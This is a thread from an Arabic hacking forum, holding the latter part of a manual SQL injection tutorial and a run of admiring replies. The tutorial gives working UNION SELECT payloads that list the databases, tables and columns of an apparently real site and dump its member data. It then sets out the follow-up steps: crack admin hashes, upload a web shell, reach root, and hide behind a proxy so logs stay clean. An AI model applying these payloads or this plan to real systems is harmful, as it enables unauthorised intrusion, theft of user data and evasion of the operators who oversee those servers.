    فلنرجع الآن إلى الحقن ونطبق هذه المعلومات الجديدة [​IMG]
    هيا بنا نسحب بعض البيانات من قاعدة بيانات information_schema.....

    index.php?id=1 and false union select 1,schema_name,3,4,5,6,7 from information_schema.schemata
    [​IMG]
    [​IMG] لاحظوا استخدام Information_schema.Schemata أي جدول schemata من قاعدة بيانات Information_schema.
    للأسف اعطاني اسم قاعدة بيانات Information_Schema فقط [​IMG] .
    نحن متأكدين ان قاعدة البيانات هذه ليست الوحيدة لأننا استخدمنا أمر ()database وحصلنا على قاعدة يتم استخدامها الآن, وهي غير information_schema.
    فما هي المشكلة هنا؟؟

    ببساطة شديدة, نحن نريد سحب عمود اسمه Schema_name من جدول اسمه schemata موجود بقاعدة بيانات اسمها information_schema .
    الاستعلام الذي استخدمناه صحيح 100%, لكن المشكلة اننا نريد إظهار عمود كامل, بينما لدينا في الصفحة خانة واحدة فقط.
    في هذه الحالة, يقوم الموقع بإظهار أول قطعة من البيانات في العمود الذي نطلبه (information_schema في هذه الحالة).
    للتغلب على هذا الوضع, توجد طريقتين.
    سوف اشرح كلاهما.



    1- استخدام استعلام جديد اسمه Limit .
    هذا الاستعلام يجعلنا نحدد عدد القيم التي نريد اظهارها على الشاشة, وفي نفس الوقت يجعلنا نحدد القيمة التي نبدأ بها.
    مثال: أنا اقوم بسحب عمود به 50 خانة. استطيع استخدام Limit وأجعل الشاشة يظهر عليها أول 10 خانات فقط. أيضاً أستطيع ان اظهر آخر 10 خانات. أو اظهر ال10 خانات من 35 إلى 45.
    رائع.
    كيف إذاً نستخدم Limit ؟؟؟؟
    سهلة... تقوم بكتابة Limit X,Y
    ثم نستبدل X بالخانة التي نريد البداية بإظهارها.
    ونستبدل Y بعدد الخانات التي نظهرها.
    مثال: أريد سحب أول خانتين... استعمل Limit 0,2
    [​IMG] لاحظوا كيف اني بدأت بالصفر.. لأن عدد الخانات في العمود يبدأ بالصفر. لكن عدد الخانات التي اريد سحبها لا يكون به صفر.

    2- استخدام استعلام جديد اسمه ()group_concat .
    ملحوظة: للذين لديهم معلومات في لغات البرمجة..... هذا الاستعلام عبارة عن function أي اننا نضع ما نريده داخل الأقواس.
    اكملوا القراءة وستفهمون المقصد.
    كلمة group عبارة عن فعل بمعنى "تكوين مجموعة" وكلمة concat اختصار لكلمة concatenation أي "جمع" و "لصق".
    هناك استعلام اسمه ()concat يستخدم ل"لصق" استعلامين أو اكثر مع بعض.
    مثال: اريد اظهار اسم قاعدة البيانات وفي نفس الوقت اريد معرفة اصدار الMySQL... استعمل (()concat(version(),database
    أما عن استعلام ()group_concat , فإنك تكتب بداخله شيء وهو يقوم ب"جمع" كل الأشياء الموجودة بداخله (إن كان عموداً) وي"لصقــ"ها ببعضها ويظهرها لك على الشاشة.
    [​IMG] إلى جانب هذه الوظيفة الجميلة لإستعلام ()group_concat ,فإنه يستطيع ان يؤدي وظيفة استعلام ()concat العادي ايضاً.
    سوف أستكمل حقن الموقع الذي نعمل عليه, وسنطبق عليه الطريقتين السابقتين [​IMG]



    نجرب الطريقة الأولى باستعمال LIMIT.
    بما أننا عرفنا انه توجد خانة واحدة فقط تظهر على الشاشة, فإن الرقم الثاني المستخدم في LIMIT لكن يشكل فارقاً, لأننا مهما زدناه لن تظهر سوى خانة واحدة على الشاشة.
    نبدأ بأول خانة (رقم صفر)
    index.php?id=1 and false union select 1,schema_name,3,4,5,6,7 from information_schema.schemata LIMIT 0,1
    [​IMG]

    نزيد الرقم واحد لنظهر الخانة الثانية
    index.php?id=1 and false union select 1,schema_name,3,4,5,6,7 from information_schema.schemata LIMIT 1,1
    [​IMG]

    نزيد الرقم واحد لنظهر الخانة الثالثة
    index.php?id=1 and false union select 1,schema_name,3,4,5,6,7 from information_schema.schemata LIMIT 2,1
    [​IMG]
    من الواضح ان الخانة الثالثة خالية (إذاً لا توجد سوى قاعدتين بيانات).

    سهلة طريقة limit, أليس كذلك؟؟ [​IMG]
    سوف أريكم الآن الطريقة الثانية group_concat وهي أسهل بمرااااااااحل.



    كل ما علينا فعله هو وضع كلمة Schema_name داخل القوسين الخاصين ب ()group_concat . يكون الرابط هكذا:

    index.php?id=1 and false union select 1,group_concat(schema_name),3,4,5,6,7 from information_schema.schemata
    [​IMG]

    سهلة جداً الحمد لله ربّ العالمين.


    الآن نسحب تاني معلومة من قاعدة بيانات information_schema وهي table_name (أسامي الجداول الموجودة).
    ملحوظة: نحن لا نريد سحب أسماء الجداول الموجودة في قاعدة البيانات information_schema, بل اريد اسماء الجداول في قاعدة البيانات الثانية CLANWI_DB1.

    سهلة..... بدلاً من schema_name, سوف أكتب table_name.
    هذا العمود (table_name) اريد سحبه من جدول اسمه tables في قاعدة بيانات اسمها information_schema... وبالتالي اضيف
    from information_schema.tables.
    ثم في النهاية اضيف شيء مهم جداً لتحديد النتائج التي ستظهر على الشاشة. سوف اضيف شرط باستخدام WHERE لأقول انني اريد اسماء الجداول في قاعدة بيانات CLANWI_DB1 فقط, ستكون كالتالي WHERE table_schema=CLANWI_DB1

    index.php?id=1 and false union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables
    'WHERE table_schema='clanwi_db1
    [​IMG]
    سوف نجد ان هناك الكثير من الجداول.

    اللآن نختار اي جدول لنحاول سحب البيانات منه.
    نختار مثلاً TBLMEMBERUSAGE لأنه يبدو انه يحتوي على معلومات خاصة بأعضاء الموقع [​IMG]
    قبل سحب البيانات منه, يجب ان اعرف اسماء الأعمدة الموجودة به, لأنه ربما يحتوي على أعمدة كثيرة وأنا لا اريد ان اظهرها كلها حتى لا تملأ الشاشة وتختلط الكلمات ببعضها.
    نريد سحب المعلومات المهمة فقط.
    بالتأكيد أنتم الآن تعرفون اين توجد أسماء الأعمدة. بداخل عمود اسمه column_name في جدول اسمه Columns في قاعدة في قاعدة بيانات اسمها information_schema.
    ممتاز.
    إذاً, لكي نعرف اسماء الأعمدة نستخدم الاستعلام الآتي:
    UNION SELECT column_name
    FROM information_schema.columns
    'WHERE table_schema='clanwi_db1
    'AND table_name='TBLMEMBERUSAGE
    [​IMG] لاحظوا كيف استعملت WHERE واستعملت معها شرطين اثنين لتحديد النتيجة التي اريدها بالظبط.
    طبعاً لن نضع الاستعلام هكذا بدون group_concat لأننا نريد جميع النتائج وليس خانة واحدة فقط.

    فيكون رابط الموقع كالآتي:

    index.php?id=1 and false union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns
    'WHERE table_schema='clanwi_db1' AND table_name='tblmemberusage
    [​IMG]
    رائع... حصلنا على اسماء الأعمدة...

    فلنسحب بعض البيانات الآن....
    ما رأيكم بأن نسحب المعلومات الموجودة في عمودي RowID و IP؟؟؟ [​IMG]
    هيا بنا...
    أول شيء... نحدد ما سنكتبه في الاستعلام..
    نحن نريد سحب عمودين اسمهما RowID و IP موجودان بجدول اسمه TBLmemberUsage موجود بقاعدة بيانات اسمها ClanWi_Db1.
    إذاً, سيكون الاستعلام كالآتي:
    UNION SELECT RowID,IP
    FROM clanwi_db1.tblmemberusage
    طبعاً لا تنسوا ()group_concat لكي تظهر لنا كل النتائج بدلاً من خانة واحدة.

    فيكون رابط الموقع كالآتي:

    index.php?id=1 and false union select 1,group_concat(RowID,IP),3,4,5,6,7 from clanwi_db1.tblmemberusage

    [​IMG]

    إذا دققتم, سوف تجدون أنه أول ID رقمه 1, ثم ملصق به أول IP رقمه 127.0.0.1
    ثم ثاني ID رقمه 2, وملصق به أول IP رقمه 127.0.0.1
    وهكذا..
    يمكن أيضاً بدلاً من استعمال group_concat, تستعمل LIMIT وتمشي واحدة واحدة.

    هنا ينتهي شرح الحقن.

    اريدكم ان تراقبوا هذه الصورة وتقارنوها بالصورة السابقة:
    [​IMG]

    هذا هو ما يطلع عليه "تنسيق النتائج". لن أشرحه في هذا الموضوع حتى لا أطيل.
    سوف أشرحه بالتفصيل الممل ان شاء الله في موضوع قادم بعنوان "تنسيق نتائج الحقن باستخدام أكواد HTML ".



    الآن أتوقع من كل شخص يقرأ هذا الموضوع انه يستطيع عمل الآتي:
    1- التأكد من كون الموقع قابل للحقن أم لا.
    2- معرفة عدد الأعمدة في الصفحة التي تظهر له.
    3- معرفة الأعمدة المصابة التي تظهر على الشاشة ويمكن الحقن بداخلها.
    4- حقن باستخدام اوامر ()user و ()version و ()database في العمود المصاب.
    5- معرفة اسماء قواعد البيانات الموجودة.
    6- معرفة اسماء الجداول في قاعدة بيانات معينة.
    7- معرفة اسماء الأعمدة في جدول معين في قاعدة بيانان معينة.
    8- سحب البيانات من أي عمود تحبه.



    سوف اترك لكم سؤالاً (كنوع من المسابقة) لتجيبوا عليه. السؤال سهل جداً وإجابته موجودة في وسط الشرح فوق. [​IMG]
    السؤال:
    اكتب الاستعلام الذي يُظهِر لي عدد الجداول الموجودة.
    [​IMG]


    وأيضاً سوف أترك لكم بضع مواقع مصابة هنا لتتدربوا عليها.
    [​IMG]

    انتهى شرح الحقن البسيط بحمد الله تعالى.
    الآن سوف اقول لكم ماذا يجب ان تفعلوا بعد اتقان الخطوات السابقة:

    1- موقع W3 Schools عليه شرح ممتاز عن الSQL. فهمك الاحترافي للغة نفسها سوف يساعدك على فهم خباياها وحتى ابتكار طرق وتقنيات جديدة في الحقن مثلما يفعل أخونا Black-rose الله يبارك له [​IMG].
    2- يجب ان تعلم انه يوجد شيء اسمه جدار ناري لتطبيقات الانترنت (Web Application Firewall (WAF . هذا الجدار الناري يمنع استخدام بعض الكلمات مثل SELECT او غيرها. توجد أنواع كثيرة جداً من الWAF, وكل نوع له طريقة مختلفة لتخطيه.

    3- ابدأ في تعلم الحقن المتقدم. فهناك مواقع مصابة ولكنها تفلتر الحقن البسيط الذي شرحته لكم. تلك المواقع يمكن حقنها بطرق متقدمة.
    منها Time based injection و Error based injection و Double query injection و X-path injection و Header injection و C00kies injection و String based injection و Boolean based injection .

    4- يمكنك استعمال بعض الأدوات التي تقوم بالحقن اوتوماتيكياً مثل SQLmap, لكن يفضّل ان تعتمد على نفسك وتحترف الحقن اليدوي. هذه الأدوات سوف تساعدك في حالات مثل Blind SQL injection والتي نقوم فيها بالتخمين.
    5- بعد حقن الموقع والحصول على اسم المستخدم username وكلمة السر password تبع الأدمن administrator , نقوم بالبحث عن الصفحة التي ندخل فيها اليوزر والباس. في الأغلب لا تكون صفحة دخول الأدمن هي نفس صفحة دخول أعضاء الموقع, ويكون رابطها غير معروف سوى للأدمن الذي يستخدمها. هناك طرق سهلة للبحث عنها, وتوجد شروحات أيضاً هنا في شبكة عراق تيم IQ-TeaM
    **ملحوظة: دائماً عندما تسحب الباسورد من قاعدة البيانات, سوف تحصل عليه مشفّر بhash. يمكن فك التشفير decrypt بسهولة. (ابحث عن مواضيع في منتديات قراصنة غزة عن الhash)
    6- بعد ادخال اليوزر والباس تبع الأدمن في صفحة الدخول, سوف تنقلنا إلى لوحة تحكّم الأدمن (Control Panel (CPanel والتي نستطيع من خلالها رفع الشل Shell لكي نتمكن من السيطرة الكاملة على الموقع وتنفيذ اوامر خاصة. ابحثوا في منتديات قراصنة غزة عن شروحات للShell وطرق رفعه والأوامر التي نستعملها فيه.
    7- في بعض الحالات نستطيع ان نحصل على صلاحيات كاملة Permissions في السيرفر المرفوع عليه الموقع, ونستطيع ان نصل إلى الرووت Root وبذلك نستطيع ان نتحكم في كل المواقع المستضافة على هذا السيرفر, وليس فقط الموقع الذي قمنا باختراقه.
    8- بعد احترافك للحقن ان شاء الله, يمكنك ان تبدأ فهم طرق اخرى لاختراق المواقع. أرشح لكم الآتي: XSS و LFI و RFI و Buffer overflow exploitation .


    ****************************[COLOR=#XXXXX]****[/COLOR]******************
    ***************************************
    ****************************
    *****************
    ********
    *


    بعض النصائح الشخصية:
    1- لا تستسهل الأمور وتستعمل الأدوات بدلاً من أن تتعلم الحقن بطريقة صحيحة. بل تعلّم الحقن, واحترف الحقن, واحترف لغات البرمجة واصنع ادوات تساعدك.
    3- لا تبخل على غيرك بالعلم, ولا تستحي ان تسأل إذا قابلت بعض المشاكل.
    4- لا تستخدم قدراتك ومعلوماتك في اختراق اخوانك المسلمين, فنحن كلنا اخوة ان شاء الله مهما حدث, ولا يجب ان نترك الصهاينة ولو للحظة.
    5- دائماً يجب ان تستخدم بروكسي proxy اثناء الحقن لأن كل السيرفرات يكون فيها سجلات Logs بها ايبيهات والاستعلامات التي يقومون بها. وبعض القائمين على السيرفرات يتفحصون هذه السجلات من حين لآخر, فالاحتياط واجب.
    6- قبل ان تبدأ بحقن أي موقع, أنصحك بأن تتعرف على نوع النظام المستخدم لإنشاء قاعدة البيانات (مثل MySQL أو MsSQL أو Oracle), وذلك يكون سهل جداً بعملية تسمى رفع البصمات Fingerprinting .



    [​IMG]

    تم بحمد الله.
    فما كان من صواب فمن الله الواحد المنّان، وما كان من خطأ أو تقصير فمني ومن الشيطان.


    اذى عجبك الشرح لاتنسي لايك +تقييم

    تقبلو خالص تحياتى اخوكم في الله : صدام حسين السقاف

     
  2. شہۧكاكہۧي

    شہۧكاكہۧي موقوف لمخالفة الشروط

    الأنتساب:
    ‏12 ابريل 2014
    المشاركات:
    35
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    8
    المخالفات
    6
    رد: [حصري] من صدآم السقاف شرح تفصيلي للحقن من البداية حتي الاحتراف بإذن الله

    رؤعة يا غالي استمر #ٌnًo.
     
  3. isdo213

    isdo213 isdo213 Developer

    الأنتساب:
    ‏16 مايو 2014
    المشاركات:
    686
    الإعجابات المتلقاة:
    25
    نقاط الجائزة:
    28
    الجنس:
    ذكر
    الوظيفة:
    لغات اجنبية
    الإقامة:
    الجزائر
    المخالفات
    3
    رد: [حصري] من صدآم السقاف شرح تفصيلي للحقن من البداية حتي الاحتراف بإذن الله

    مشاء الله عليك حبيبي
     
  4. (( السفاح ))

    (( السفاح )) سيد الساحة V • I • P

    الأنتساب:
    ‏11 يوليو 2014
    المشاركات:
    2,531
    الإعجابات المتلقاة:
    2,526
    نقاط الجائزة:
    113
    الجنس:
    ذكر
    رد: [حصري] من صدآم السقاف شرح تفصيلي للحقن من البداية حتي الاحتراف بإذن الله

    روعة حبيبي بارك الله بك بس اعتقد زمن الحقن والاعمدة المصابة انتهى الا ماندر حسب نوع السكربت واغلب سكربتات الحقن تكون sql حكومية مع الاسف

    بارك الله بك ياغالي
     
  5. Ameer Eagle

    Ameer Eagle V • I • P

    الأنتساب:
    ‏7 يونيو 2014
    المشاركات:
    3,233
    الإعجابات المتلقاة:
    2,779
    نقاط الجائزة:
    113
    الجنس:
    ذكر
    الوظيفة:
    Student
    الإقامة:
    IraQ
    رد: [حصري] من صدآم السقاف شرح تفصيلي للحقن من البداية حتي الاحتراف بإذن الله

    بارك الله بيك حبي احسنت على هذا المجهود الرائع والمميز
     
  6. ĐЯ-ЩΘЩΘ

    ĐЯ-ЩΘЩΘ iq-team مراقب عآم

    الأنتساب:
    ‏13 يوليو 2014
    المشاركات:
    512
    الإعجابات المتلقاة:
    50
    نقاط الجائزة:
    28
    الجنس:
    ذكر
    الإقامة:
    مكة مكرمة
    رد: [حصري] من صدآم السقاف شرح تفصيلي للحقن من البداية حتي الاحتراف بإذن الله

    ماشاء الله عليك ياغالي

    موضوع مميز من انسان مميز

    ياغالي هسه موضوعك عنجد مميز

    بس لو خليته على اقسام زي دروس

    افضل صح انو يكون تعب لك بس توصل المعلومه اسرع

    استمر ياغالي

    و هي لك :{2}:
     
  7. ƁƛƬ MƛƝ

    ƁƛƬ MƛƝ V • I • P

    الأنتساب:
    ‏16 يوليو 2014
    المشاركات:
    376
    الإعجابات المتلقاة:
    13
    نقاط الجائزة:
    18
    الوظيفة:
    web development
    رد: [حصري] من صدآم السقاف شرح تفصيلي للحقن من البداية حتي الاحتراف بإذن الله

    شرح رائع ومتعوب فيه سلمت يمناك يالغالي

     
  8. Gaza-Dz

    Gaza-Dz Support - Iq-Team

    الأنتساب:
    ‏26 مايو 2013
    المشاركات:
    1,827
    الإعجابات المتلقاة:
    97
    نقاط الجائزة:
    48
    الجنس:
    ذكر
    الوظيفة:
    DZ
    الإقامة:
    DZ
    رد: [حصري] من صدآم السقاف شرح تفصيلي للحقن من البداية حتي الاحتراف بإذن الله

    السلام عليكم ورحمة الله تعالي وبركاته
    رمضان كريم علي جميع الأمة الاسلامية
    اللهم فك الحصار علي غزة وانصرهم نصرا أكيدا
    اولا تسلم اخي علي الموضوع الروعة:{2}:بمعلومات في القمة :{2}:
    في الحقن اليدوي + في ما يخص Structured Query Language
    هي لغة الاستعلام الهيكلية باختصار SQL+
    اذا قسمت الموضوع علي شكرا رد او 3 ردود كان احسن +
    تم تقييم الموضوع:{2}: + يجب أن تضع للبعض سمعات قبل إعطائها إلى صدام السقاف مرة أخرى.:{2}:+ لايك
    في انتظار المزيد منك #ٌnًo.
    وفقك الله ودمة في رعايته #ٌnًo.
    تقبل تحياتي #ٌnًo.



     
  9. or0

    or0 V • I • P

    الأنتساب:
    ‏22 فبراير 2014
    المشاركات:
    392
    الإعجابات المتلقاة:
    14
    نقاط الجائزة:
    18
    رد: [حصري] من صدآم السقاف شرح تفصيلي للحقن من البداية حتي الاحتراف بإذن الله

    يأوصف موضوعك بـ عظيم .

    بوركت ووفقت يا صديقي .
     
  10. TeePlow

    TeePlow V • I • P

    الأنتساب:
    ‏12 مارس 2014
    المشاركات:
    400
    الإعجابات المتلقاة:
    9
    نقاط الجائزة:
    18
    رد: [حصري] من صدآم السقاف شرح تفصيلي للحقن من البداية حتي الاحتراف بإذن الله

    السلام عليكم
    شرح رائع وتنسيق اروع :{10}: بارك الله فيك
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة